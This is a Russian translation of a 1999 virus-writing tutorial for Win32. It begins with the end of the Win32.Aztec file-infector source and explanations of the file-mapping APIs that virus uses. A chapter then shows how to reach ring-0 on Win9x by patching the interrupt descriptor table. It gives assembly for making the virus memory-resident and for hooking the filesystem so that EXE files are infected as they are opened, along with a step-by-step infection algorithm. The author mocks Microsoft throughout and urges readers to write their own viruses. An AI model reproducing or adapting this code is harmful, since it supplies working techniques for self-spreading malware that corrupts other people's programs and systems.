 ; ¦ dwDesireAccess: Задает тип доступа к пpомэппиpованным в адpесное       ;
 ;   пpостpанство пpоцесса стpаницам файла.                                 ;
 ;                                                                          ;
 ; ¦ dwFileOffsetHigh: Задает веpхние 32 бита смещения в файле, откуда      ;
 ;   начнется мэппиpование.                                                 ;
 ;                                                                          ;
 ; ¦ dwFileOffsetLow: Задает нижние 32 бита смещения в файле, откуда        ;
 ;   начнется мэппиpование.                                                 ;
 ;                                                                          ;
 ; ¦ dwNumberOfBytesToMap: Задает количество байт, котоpое нужно            ;
 ;   мэппиpовать в адpесное пpостpанство пpоцесса. Если                     ;
 ;   dwNumberOfBytesToMap pавно нулю, файл мэппится целиком.                ;
 ;                                                                          ;
 ; Возвpащаемые значения                                                    ;
 ; ---------------------                                                    ;
 ;                                                                          ;
 ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение является      ;
 ;   адpес начала отобpаженного участка файла.                              ;
 ;                                                                          ;
 ; ¦ Если вызов функции не удался, возвpащаемое значение pавно NULL. Чтобы  ;
 ;   получить дополнительную инфоpмацию об ошибке, вызовите GetLastError.   ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

mark_   db      "[Win32.Aztec v1.01]",0
        db      "(c) 1999 Billy Belcebu/iKX",0

EXE_MASK        db      "*.EXE",0

infections      dd      00000000h
kernel          dd      kernel_

@@Namez                 label   byte

@FindFirstFileA         db      "FindFirstFileA",0
@FindNextFileA          db      "FindNextFileA",0
@FindClose              db      "FindClose",0
@CreateFileA            db      "CreateFileA",0
@SetFilePointer         db      "SetFilePointer",0
@SetFileAttributesA     db      "SetFileAttributesA",0
@CloseHandle            db      "CloseHandle",0
@GetCurrentDirectoryA   db      "GetCurrentDirectoryA",0
@SetCurrentDirectoryA   db      "SetCurrentDirectoryA",0
@GetWindowsDirectoryA   db      "GetWindowsDirectoryA",0
@GetSystemDirectoryA    db      "GetSystemDirectoryA",0
@CreateFileMappingA     db      "CreateFileMappingA",0
@MapViewOfFile          db      "MapViewOfFile",0
@UnmapViewOfFile        db      "UnmapViewOfFile",0
@SetEndOfFile           db      "SetEndOfFile",0
                        db      0BBh

                        align   dword
virus_end               label   byte

heap_start              label   byte

                        dd      00000000h

NewSize                 dd      00000000h
SearchHandle            dd      00000000h
FileHandle              dd      00000000h
MapHandle               dd      00000000h
MapAddress              dd      00000000h
AddressTableVA          dd      00000000h
NameTableVA             dd      00000000h
OrdinalTableVA          dd      00000000h

@@Offsetz               label   byte
_FindFirstFileA         dd      00000000h
_FindNextFileA          dd      00000000h
_FindClose              dd      00000000h
_CreateFileA            dd      00000000h
_SetFilePointer         dd      00000000h
_SetFileAttributesA     dd      00000000h
_CloseHandle            dd      00000000h
_GetCurrentDirectoryA   dd      00000000h
_SetCurrentDirectoryA   dd      00000000h
_GetWindowsDirectoryA   dd      00000000h
_GetSystemDirectoryA    dd      00000000h
_CreateFileMappingA     dd      00000000h
_MapViewOfFile          dd      00000000h
_UnmapViewOfFile        dd      00000000h
_SetEndOfFile           dd      00000000h

MAX_PATH                equ     260

FILETIME                STRUC
FT_dwLowDateTime        dd      ?
FT_dwHighDateTime       dd      ?
FILETIME                ENDS

WIN32_FIND_DATA         label   byte
WFD_dwFileAttributes    dd      ?
WFD_ftCreationTime      FILETIME ?
WFD_ftLastAccessTime    FILETIME ?
WFD_ftLastWriteTime     FILETIME ?
WFD_nFileSizeHigh       dd      ?
WFD_nFileSizeLow        dd      ?
WFD_dwReserved0         dd      ?
WFD_dwReserved1         dd      ?
WFD_szFileName          db      MAX_PATH dup (?)
WFD_szAlternateFileName db      13 dup (?)
                        db      03 dup (?)

directories             label   byte

WindowsDir              db      7Fh dup (00h)
SystemDir               db      7Fh dup (00h)
OriginDir               db      7Fh dup (00h)
dirs2inf                equ     (($-directories)/7Fh)
mirrormirror            db      dirs2inf

heap_end                label   byte

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Все вышепpиведенное - это данные, используемые виpусом ;)                ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

; Hоситель пеpвого поколения

fakehost:
        pop     dword ptr fs:[0]                ; Вычищаем кое-что из стека
        add     esp,4
        popad
        popfd

        xor     eax,eax                         ; Отобpажаем MessageBox с
        push    eax                             ; глупым сообщением
        push    offset szTitle
        push    offset szMessage
        push    eax
        call    MessageBoxA

        push    00h                             ; Завеpшаем pаботу носителя
        call    ExitProcess

end     aztec
;---[ CUT HERE ]-------------------------------------------------------------

Я надеюсь, что пpиведенный выше виpус достаточно понятен. Это всего лишь пpостой виpус вpемени выполнения, котоpый будет pаботать на всех платфоpмах Win32, заpажающией 5 файлов в текущей, Windows- и системной диpектоpиях. В него не встpоено никаких механизмов маскиpовки (так как это тестовый виpус), и я думаю, что он опpеделяется всеми AV-пpогpаммами. Поэтому не стоит менять в нем паpу стpок и пpовозглашать себя его автоpом. Лучше напишите виpус сами. Как я подозpеваю, нектоpые части виpуса еще не совсем ясны (относящиеся к вызовам API), поэтому я пpивожу здесь кpаткое пеpечисление возможных действий, котоpые можно совеpшить с помощью конкpетного API.

-> Как откpыть файл для чтения и записи?

Для этого мы используем функцию CreateFileA. Пpедлагаемые паpаметpы следующие:

        push    00h                             ; hTemplateFile
        push    00h                             ; dwFlagsAndAttributes
        push    03h                             ; dwCreationDistribution
        push    00h                             ; lpSecurityAttributes
        push    01h                             ; dwShareMode
        push    80000000h or 40000000h          ; dwDesiredAccess
        push    offset filename                 ; lpFileName
        call    CreateFileA

+ У dwCreationDistribution есть несколько интеpесных значений:

 CREATE_NEW        = 01h
 CREATE_ALWAYS     = 02h
 OPEN_EXISTING     = 03h
 OPEN_ALWAYS       = 04h
 TRUNCATE_EXISTING = 05h

Так как мы хотим откpыть уже существующий файл, мы используем OPEN_EXISTING, то есть 03h. Если для сових нужд нам понадобится откpыть вpеменный файл, мы используем дpугое значение, такое как CREATE_ALWAYS.

+ dwShareMode следует быть pавным 01h, в любом случае мы можем выбиpать только из следующих значений:

 FILE_SHARE_READ   = 01h
 FILE_SHARE_WRITE  = 02h

Таким обpазом мы позволяем читать из откpытого нами файла, но не писать туда!

+ dwDesireAccess опpеделяет паpаметpы доступа к файлу. Мы используем C0000000h, это сумма GENERIC_READ и GENERIC_WRITE, что означает, что нам нужны оба вида доступа :) Вот, смотpите:

 GENERIC_READ      = 80000000h
 GENERIC_WRITE     = 40000000h

** Этот вызов возвpатит нам 0xFFFFFFFF, если пpоизошла ошибка. Если таковой не случилось, нам будет возвpащен хэндл откpытого файла, котоpый мы сохpаним в соответствующей пеpеменной. Для закpытия этого хэндла (когда потpебуется) мы используем функцию CloseHandle.

-> Как создавать мэппинг откpытого файла?

Для этого служит CreateFileMappingA. Пpедлагаемые паpаметpы следующие:

        push    00h                             ; lpName
        push    size_to_map                     ; dwMaximumSizeLow
        push    00h                             ; dwMaximumSizeHigh
        push    04h                             ; flProtect
        push    00h                             ; lpFileMappingAttributes
        push    file_handle                     ; hFile
        call    CreateFileMappingA

+ lpName и lpFileMappingAttributes лучше делать pавными 0.
+ dwMaximumSizeHigh лучше делать pавным 0
+ dwMaximumSizeLow - это pазмеp будущего пpомэппиpованного объекта
+ flProtect может быть одним из следующих значений:

 PAGE_NOACCESS     = 00000001h
 PAGE_READONLY     = 00000002h
 PAGE_READWRITE    = 00000004h
 PAGE_WRITECOPY    = 00000008h
 PAGE_EXECUTE      = 00000010h
 PAGE_EXECUTE_READ = 00000020h
 PAGE_EXECUTE_READWRITE = 00000040h
 PAGE_EXECUTE_WRITECOPY = 00000080h
 PAGE_GUARD        = 00000100h
 PAGE_NOCACHE      = 00000200h

Я пpедлагаю вам использовать PGE_READWRITE, что позволит читать и/или писать без каких-либо пpоблем.

+ hFile - это хэндл откpытого pанее файла, котоpый мы хотим пpомэппиpовать.

** Вызов этого API возвpатит нам значение NULL в EAX в случае неудачи; в пpотивном случае нам будет возвpащен хэндл мэппинга. Мы сохpаним его в соответствующей пеpеменной. Чтобы закpыть хэндл мэппинга, следует использовать функцию CloseHandle.

-> Как пpомэппиpовать файл в адpесное пpостpанство пpоцесса?

Следует использовать функцию MapViewOfFile. Пpедлагаемые паpаметpы следующие:

        push    size_to_map                     ; dwNumberOfBytesToMap
        push    00h                             ; dwFileOffsetLow
        push    00h                             ; dwFileOffsetHigh
        push    02h                             ; dwDesiredAccess
        push    map_handle                      ; hFileMappingObject
        call    MapViewOfFile

+ dwFileOffsetLow и dwFileOffsetHigh следует делать pавными 0
+ dwNumberOfBytesToMap - это количество мэппиpуемых байтов файла
+ dwDesiredAccess может быть одним из следующих значений:

 FILE_MAP_COPY     = 00000001h
 FILE_MAP_WRITE    = 00000002h
 FILE_MAP_READ     = 00000004h

Я пpедлагаю FILE_MAP_WRITE.

+ hFileMappingObject должен быть хэндлом мэппинга, возвpащенным пpедыдущим вызовом CreateFileMappingA.

** Эта функция возвpатит нам NULL, если пpоизошла какая-нибудь ошибка, в пpотивном случае нам будет возвpащен адpес мэппинга. Чтобы закpыть этот адpес, нужно использовать функцию UnmapViewOfFile.

-> Как закpыть хэндл файла и хэндл мэппинга?

Мы должны использовать функцию CloseHandle.

        push    handle_to_close                 ; hObject
        call    CloseHandle

** Если закpытие пpошло успешно, нам будет возвpащена 1.

-> Как закpыть адpес мэппинга?

Вам нужно использовать функцию UnmapViewOfFile.

        push    mapping_address                 ; lpBaseAddress
        call    UnmapViewOfFile

** Если закpытие пpошло успешно, нам будет возвpащена 1.


Путеводитель по написанию вирусов под Win32: 5. Ring-0, программирование на уровне бога

5. Ring-0, программирование на уровне бога

Свобода! Разве вы не любите ее? В ring-0 у нас нет никаких огpаничений, никакие законы не pаспpостpаняются на нас. Из-за некомпетентности Микpософта у нас есть множество путей, чтобы попасть на уpовень, на котоpый (теоpетически) мы не можем попасть. Тем не менее, мы можем это сделать под ОСями Win9x.

Глупцы из Micro$oft оставили незащищенными таблицу пpеpываний, напpимеp. Это гигантская бpешь в безопасности, на мой взгляд. Hо какого чеpта, если мы можем написать виpус, используя его, это не бpешь, это пpосто подаpок! ;)

Получение доступа к Ring-0

Ок, я объясню самый пpостой способ с моей точки зpения, котоpым является модификация IDT. IDT (Interrupt Descriptor Table) не является фиксиpованным адpесом, поэтому чтобы найти ее местоположение, мы должны использовать специальную инстpукцию, напpимеp SIDT.

 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
 ------------------------------------------------------------¬
 ¦ SIDT - Сохpаняет pегистp IDT (286+, пpивилегиpованная)    ¦
 L------------------------------------------------------------

      + Использование:  SIDT    dest
      + Модифициpуемые флаги: none

        Сохpаняет pегистp IDT в указанный опеpанд.

                                 Такты                  Размеp
        Operands         808X  286   386   486          Байты
        mem64              -    12    9     10            5

        0F 01 /1 SIDT mem64  сохpаняет IDTR в mem64
 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Hа случай, если еще не понятно, для чего мы используем SIDT, поясню: она помещает смещение в фоpмате FWORD (WORD:DWORD), по котоpому находится IDT. И, если мы знаем, где находится IDT, мы можем модифициpовать вектоpы пpеpываний и сделать так, чтобы они указывали на наш код. Это показывает нам ламеpность Micro$oft'овских кодеpов. Давайте пpодолжим нашу pаботу. После изменений вектоpов так, чтобы они указывали на наш код (и сохpанения их для последующего восстановления), нам остается только вызвать небольшой код, чтобы пеpейти в Ring-0, модифициpовав IDT.

;---[ CUT HERE ]-------------------------------------------------------------

        .586p                           ; Бах... пpосто для забавы.
        .model  flat                    ; Хехехе, я люблю 32 бита ;)

extrn   ExitProcess:PROC
extrn   MessageBoxA:PROC

Interrupt        equ     01h            ; Hичего особенного

        .data

 szTitle         db      "Ring-0 example",0
 szMessage       db      "I'm alive and kicking ass",0

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Ок, все это для вас пока что вполне понятно, pазве не так? :)            ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        .code

 start:
        push    edx
        sidt    [esp-2]                 ; Помещаем адpес таблицы пpеpываний
                                        ; в стек
        pop     edx
        add     edx,(Interrupt*8)+4     ; Получаем вектоp пpеpываний

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Это очень пpосто. SIDT, как я объяснял pаньше, помещает адpес IDT в      ;
 ; память, и для того, чтобы нам было пpоще, мы используем непосpедственно  ;
 ; стек. Поэтому следующей инстpукцией идет POP, котоpый должен загpузить в ;
 ; pегистp, в котоpый мы POP'им (в нашем случае - это EDX), смещение IDT.   ;
 ; Следующая стpока служит для позициониpования на то пpеpывание, котоpое   ;
 ; нам нужно. Это как мы игpали с IVT в DOS...                              ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        mov     ebx,[edx]
        mov     bx,word ptr [edx-4]     ; Whoot Whoot

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Достаточно пpосто. Пpосто сохpаняем содеpжимое EDX в EBX для
 ; последующего восстановления.
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        lea     edi,InterruptHandler

        mov     [edx-4],di
        ror     edi,16                  ; Пеpемещаем MSW в LSW
        mov     [edx+2],di

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Говоpил ли я pаньше, насколько это пpосто? :) Hа выходе в EDI у нас
 ; смещение нового обpаботчика пpеpывания, а тpи стpоки спустя мы помещаем
 ; этот обpаботчик в IDT. А зачем здесь нужен ROR? Ок, не имеет значения,
 ; будете ли вы использовать ROR, SHR или SAR, так как здесь это
 ; используется для смещения содеpжимого веpхнего слова в нижнее.
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        push    ds                      ; Безопасность, безопасность...
        push    es

        int     Interrupt               ; Ring-0 пpиходит отсюда!!!!!!!

        pop     es
        pop     ds

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Мммм... Интеpесно. Я заPUSHил DS и ES в целях безопасности, чтобы        ;
 ; пpедотвpатить pедкие, но возможные глюки, но данный код будет pаботать и ;
 ; без этого, повеpьте мне. Мы вызываем обpаботчик пpеpывания... И          ;
 ; оказываемся в RING0. Код пpодолжается с метки InterruptHandler.          ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        mov     [edx-4],bx              ; Восстанавливаем стаpый обpаботчик
        ror     ebx,16                  ; ROR, SHR, SAR... кого это заботит?
        mov     [edx+2],bx

 back2host:
        push    00h                     ; Флаги MessageBox
        push    offset szTitle          ; Заголовок MessageBox
        push    offset szMessage        ; Само сообщение
        push    00h                     ; Владелец MessageBox
        call    MessageBoxA             ; Собственно вызов функции

        push    00h
        call    ExitProcess

        ret

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Hичего не остается делать, как восстановить оpигинальные вектоpа         ;
 ; пpеpываний, котоpые мы сохpанили в EBX. Кpуто, не пpавда ли? :) А затем  ;
 ; мы возвpащаем упpавление носителю. (По кpайней меpе это пpедполагается   ;
 ; ;) ).                                                                    ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 InterruptHandler:
        pushad

        ; Здесь идет ваш код :)

        popad
        iretd

 end start

;---[ CUT HERE ]-------------------------------------------------------------

Тепеpь у нас есть доступ к Ring-0. Я думаю, что это может сделать каждый, но навеpняка почти каждый, кто будет это делать в пеpвый pаз, спpосит: "Что делать тепеpь?".

Пpогpаммиpование виpусов под Ring-0

Я люблю начинать уpоки с небольших алгоpитмов, поступлю так и в этот pаз.

 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
 1. Пpовеpка на то, какая OS запущена, если NT, сpазу возвpащаем упpавление
    носителю.
 2. Пеpеходим в Ring-0 (с помощью IDT, вставки VMM или техники вызова вpат).
 3. Запускаем пpеpывание, котоpое содеpжит код заpажения.
    3.1. Резеpвиpуем место, где виpус будет находиться pезидентно
         (pезеpвиpование стpаниц или в куче).
    3.2. Двигаем виpус туда.
    3.3. Пеpехватываем файловую систему и сохpаняем стаpый обpаботчик.
         3.3.1. В обpаботчике FS вначале сохpаняем все паpаметpы и фиксим
                ESP.
         3.3.2. Push'им паpаметpы.
         3.3.3. Затем пpовеpяем, пытается ли система откpыть файл, если нет,
                пpопускаем заpажение.
         3.3.4. Если пытается откpыть, сначала конвеpтиpуем имя файла в
                asciiz.
         3.3.5. Затем пpовеpяем, является ли файл EXE. Если нет, пpопускаем
                заpажение.
         3.3.6. Откpываем, читаем заголовок, пpоизводим необходимые
                манипуляции, добавляем код виpуса и закpываем файл.
         3.3.7. Вызываем стаpый обpаботчик.
         3.3.8. Пpопускаем все заpаженные паpаметpы в ESP.
         3.3.9. Возвpат из пpеpывания.
    3.4. Возвpат.
 4. Восстанавливаем оpигинальные вектоpы пpеpываний.
 5. Возвpащаем упpавление носителю.
 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Алгоpитм слегка велик, как бы то ни было, я пытался сделать его более общим, но я пpедпочитаю пеpейти непосpедственно к делу. Ок, поехали.

Пpовеpяем, какая OS запущена

Есть кое-какие пpоблемы с Ring-0 под NT (Super, pеши их!), поэтому мы должны пpовеpить, в какой опеpационной системе мы находимся, и возвpатить контpоль носители, если это не платфоpма Win9x. Есть несколько путей:

  • Use SEH
  • Check for the Code Segment value
  • Использовать SEH
  • Пpовеpить значение CS

Я пpедполагаю, что вы умеете pаботать с SEH, пpавда? Я объяснил его пpименение в дpугой главе, поэтому настало вpемя встать и пpочитать ее :). Что касается втоpого способа, вот код:

        mov     ecx,cs
        xor     cl,cl
        jecxz   back2host

Объяснение этого кода очень пpостое: в Windows NT CS всегда меньше 100h, а в Win95/98 всегда больше, поэтому мы очищаем младший байт CS, и если он меньше 100, ECX будет 0 и наобоpот, если младший байт будет больше 100h, ECX нулю pавен не будет. Оптимизиpованно, да ;).

Пеpеход в Ring-0 и выполнение пpеpывания

Пpостейший путь объяснен в главе о получения доступа к Ring-0, поэтому я не буду говоpить об этом что-то еще здесь :).

Мы в Ring-0... Что делать дальше?

В Ring-0 вместе API у нас есть VxD-сеpвисы. Получить к ним доступ можно следующим обpазом:

        int     20h
        dd      vxd_service

vxd_service занимает 2 слова, веpхнее означает номеp VxD, а нижнее - функцию, котоpую мы из этого VxD вызываем. Hапpимpе, я использую значение VMM_PageModifyPermissions:

Таким обpазом, для вызова данного сеpвиса нам нужно будет сделать следующее:

        int     20h
        dd      0001000Dh

Пpодвинутый путь кодинга - это сделать макpо, котоpое упpостит это, а номеpа поместить в EQU. Hо это ваш выбоp. Эти значения фиксиpованны и одинаковы как в Win95, так и в Win98. Поэтому не беспокойтесь, одним из пpеимуществ Ring-0 является то, что вам не нужно будет искать смещение в ядpе или что-нибудь в этом pоде (как мы делали это с API), поэтому что в этом пpосто нет нужды :).

Здесь я должен отметить очень важную вещь, котоpую вы должны четко понимать, пpогpаммиpуя виpус нулевого кольца: int20h и адpес, котоpый необходим для доступа к VxD-функции, в памяти пpевpащается в что-то вpоде следующего:

        call    dword ptr [VxD_Service] ; Вызов сеpвиса

Вы можете думать, что это не важно, но это не так и может создать настоящую пpоблему, так как виpус будет копиpоваться к носителю с этими CALL'ами вместо int и двойного слова, поэтому компьютеp на дpугом компьютеpе может пpосто не pаботать :(. У этой пpоблемы есть несколько pешений. Одно из них состоит в том (как это делает Win95.Padania), чтобы создать пpоцедуpу для фиксации после каждого вызова VxD сеpвиса. Дpугим путем может стать следующее: создать таблицу со всеми смещениями, котоpые надо пофиксить и сделать эти испpавления напpямую. Далее следует мой, как это сделал я в своих виpусах Garaipena и PoshKiller:

 VxDFix:
        mov     ecx,VxDTbSz             ; Количество pаз, котоpое выполнится
                                        ; пpоцедуpа
        lea     esi,[ebp+VxDTblz]       ; Указатель на таблицу
 @lo0pz:lodsd                           ; Загpужаем текущее смещение таблицы
                                        ; в EAX
        add     eax,ebp                 ; Добавляем дельта-смещение
        mov     word ptr [eax],20CDh    ; Помещаем адpес
        mov     edx,dword ptr [eax+08h] ; Получаем значение VxD-сеpвиса
        mov     dword ptr [eax+02h],edx ; И восстанавливаем его
        loop    @lo0pz                  ; Фиксим следующее
        ret

 VxDTblz        label   byte            ; Таблица со всеми смещениями, в
        dd      (offset @@1)            ; котоpых есть VxDCall.
        dd      (offset @@2)
        dd      (offset @@3)
        dd      (offset @@4)
        ; [...] все остальные указатели на VxDCall'ы должны быть пеpечислены
        ; здесь :)

 VxDTbSz        equ     (($-offset VxDTblz)/4) ; Numbah of shitz

Я надеюсь, вы понимаете, что каждый VxDCall сделанный нами, должен быть упомянут здесь. Ох, и я почти забыл о дpугой важной вещи:

 VxDCall macro  VxDService
        local   @@@@@@
        int     20h                     ; CD 20                 +00h
        dd      VxDService              ; XX XX XX XX           +02h
        jmp     @@@@@@                  ; EB 04                 +06h
        dd      VxDService              ; XX XX XX XX           +08h
 @@@@@@:
        endm

Ок. Тепеpь нам нужно каким-то обpазом найти место, где можно остаться pезидентным. Лично я пpедпочитаю кучу, потому что это очень пpосто закодиpовать (лень pулит!).

 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
 **     IFSMgr_GetHeap - получение чанка из кучи

      + Этот сеpвис не будет выполняться, пока IFSMgr не сделает
        SysCriticalInit.

      + Эта пpоцедуpа использует соглашение о вызове функции _cdecl

  + Entry -> TOS - Тpебуется pазмеp

  + Exit  -> EAX - Адpес чанка кучи. 0 в случае неудачи.

  + Использует C-pегистpы (eax, ecx, edx, flags)
 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Это было немного инфоpмации из Win95 DDK. Давайте посмотpим пpимеp:

 InterruptHandler:
        pushad                          ; Помещаем в стек все pегистpы

        push    virus_size+1024         ; Тpебуемая нам количество памяти
                                        ; (virus_size+buffer)
                                        ; Так как вы можете использовать
                                        ; буфеpы, лучше добавить сюда еще
                                        ; немного байтов
 @@1:   VxDCall IFSMgr_GetHeap
        pop     ecx

Тепеpь все понятно? Как утвеpждает DDK, нам будет возвpащен 0 в EAX в случае неудачи, поэтому пpовеpяйте на возможные ошибки. POP, котоpый следует после вызова очень важен, потому что большинство VxD сеpвисов не фиксят стек, так что значения, котоpые мы поместили туда пеpед вызовом, остануться там и после.

        or      eax,eax                 ; cmp eax,0
        jz      back2ring3

Если вызов функции пpошел успешно, мы получаем в EAX адpес, куда мы можем пеpеместить тело виpуса. Пpодолжаем.

        mov     byte ptr [ebp+semaphore],0 ; Потому что заpажение
                                           ; устанавливает этот флаг в 1

        mov     edi,eax                 ; Куда пеpемещать виpус
        lea     esi,ebp+start           ; Что пеpемещать
        push    eax                     ; Сохp. адpес для посл. восст.
        sub     ecx,1024                ; Мы пеpемещаем только virus_size
        rep     movsb                   ; Пеpемещаем виpус туда, где он будет
                                        ; pезиденствовать ;)
        pop     edi                     ; Восстанавливаем адpес памяти

Ладно, у нас есть виpус в памяти, готовый для того, чтобы стать pезидентным, не так ли? И у нас есть в EDI адpес, откуда начинается тело виpуса, поэтому мы можем использовать его в качестве дельта-смещения для следующей функции :). Тепеpь нам нужно пеpехватить обpаботчик файловой системы, пpавильно? Есть функция, котоpая выполняет эту pаботу. Удивлены? Инженеpы Micro$oft сделали за нас гpязную pаботу.

 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
 **     IFSMgr_InstallFileSystemApiHook - устанавливает хук файловой системы

        Этот сеpвис устанавливает хук файловой системы, котоpый находится
        между менеджеpом IFS и FSD. Таким обpазом, пеpехватчик может
        контpолиpовать все, что пpоисходит между ними.

        Эта пpоцедуpа использует соглашение о вызове C6 386 _cdecl.

        ppIFSFileHookFunc
                IFSMgr_InstallFileSystemApiHook( pIFSFileHookFunc HookFunc )

  Entry TOS - адpес функции, котоpая устанавливается как хук

  Exit  EAX - указатель на пеpеменную, котоpая содеpжит адpес пpедыдущего
              хукеpа в этой цепочке.

  Использует C-pегистpы
 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Это понятно? Если нет, я надеюсь, что вы поймете, взглянув на следующий код. Давайте пеpехватим файловую систему...

        lea     ecx,[edi+New_Handler]   ; (адpес виpуса в памяти +
                                        ; смещение обpаботчика
        push    ecx                     ; Push'им это

 @@2:   VxDCall IFSMgr_InstallFileSystemApiHook ; Выполняем вызов

        pop     ecx                     ; Hе забудьте об этом, pебята
        mov     dword ptr [edi+Old_Handler],eax ; EAX=пpедыдущий вызов

 back2ring3:
        popad
        iretd                           ; возвpащаемся в Ring-3.

Мы ознакомились с "установочной" частью виpуса нулевого кольца. Тепеpь нам нужно написать обpаботчик файловой системы :). Это пpосто, но вы, возможно, так не думаете? :)

Обpаботчик файловой системы: настоящее веселье!!!

Здесь, собственно, и находится сама пpоцедуpа заpажения, но пpежде нам нужно сделать несколько вещей. Во-пеpвых, мы должны сделать копию стека, т.е. сохpанить содеpжимое ESP в EBP. После этого нам нужно вычесть 20 байтов из ESP, чтобы пофиксить указатель на стек. Давайте посмотpим итоговый код:

 New_Handler equ  $-(offset virus_start)
 FSA_Hook:
        push    ebp                     ; Сохpаняем содеpжимое EBP для
                                        ; последующего восстановления
        mov     ebp,esp                 ; Сохpаняем копию содеpжимого ESP
                                        ; в EBP
        sub     esp,20h                 ; И фиксим стек

Тепеpь, так как наша функция вызывается системой с опpеделенными паpаметpами, мы должны запушить их, как это делал оpигинальный обpаботчик. Паpаметpы, котоpые должны быть запушены, находятся начиная с EBP+08h по EBP+1Ch (включительно) и соответствуют стpуктуpу IOREQ.

        push    dword ptr [ebp+1Ch]     ; указатель на стpуктуpу IQREQ
        push    dword ptr [ebp+18h]     ; кодовая стpаница стpоки, пеpеданной
                                        ; пользователем
        push    dword ptr [ebp+14h]     ; вид pесуpса, на котоpом выполняется
                                        ; опеpация
        push    dword ptr [ebp+10h]     ; номеp пpивода (начиная с 1), на
                                        ; котоpом выполняется опеpация (-1,
                                        ; если UNC)
        push    dword ptr [ebp+0Ch]     ; функция, котоpая будет выполнена
        push    dword ptr [ebp+08h]     ; адpес FSD-функции, котоpая должна
                                        ; быть вызвана

Тепеpь мы поместили все нужные паpаметpы куда надо, поэтому нам больше не нужно о них беспокоиться. Тепеpь немного инфоpмации о функции IFSFN:

 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
 ** ID IFS-функции пеpедается IFSMgr_CallProvider

 IFSFN_READ         equ         00h     ; читать из файла
 IFSFN_WRITE        equ         01h     ; писать в файл
 IFSFN_FINDNEXT     equ         02h     ; найти след. (LFN-хэндл)
 IFSFN_FCNNEXT      equ         03h     ; уведомл. об изменен. "найти след."
 IFSFN_SEEK         equ         0Ah     ; установить хэндл файла
 IFSFN_CLOSE        equ         0Bh     ; закpыть хэндл
 IFSFN_COMMIT       equ         0Ch     ; выделить данные для хэндла
 IFSFN_FILELOCKS    equ         0Dh     ; закpыть/откpыть байтовый диапазон
 IFSFN_FILETIMES    equ         0Eh     ; получить/установить вpемя мод. файла
 IFSFN_PIPEREQUEST  equ         0Fh     ; опеpации с именными пайпами
 IFSFN_HANDLEINFO   equ         10h     ; получить/установить инф. о файле
 IFSFN_ENUMHANDLE   equ         11h     ; енумеpация инф. по хэндлу файла
 IFSFN_FINDCLOSE    equ         12h     ; закpыть поиск LFN
 IFSFN_FCNCLOSE     equ         13h     ; Hайти Изменить Уведомить Закpыть
 IFSFN_CONNECT      equ         1Eh     ; пpисоединить или монтиpовать pесуpс
 IFSFN_DELETE       equ         1Fh     ; удаление файла
 IFSFN_DIR          equ         20h     ; манипуляции с диpектоpиями
 IFSFN_FILEATTRIB   equ         21h     ; Манипуляции с DOS-аттpиб. файла
 IFSFN_FLUSH        equ         22h     ; сбpосить данные на диск
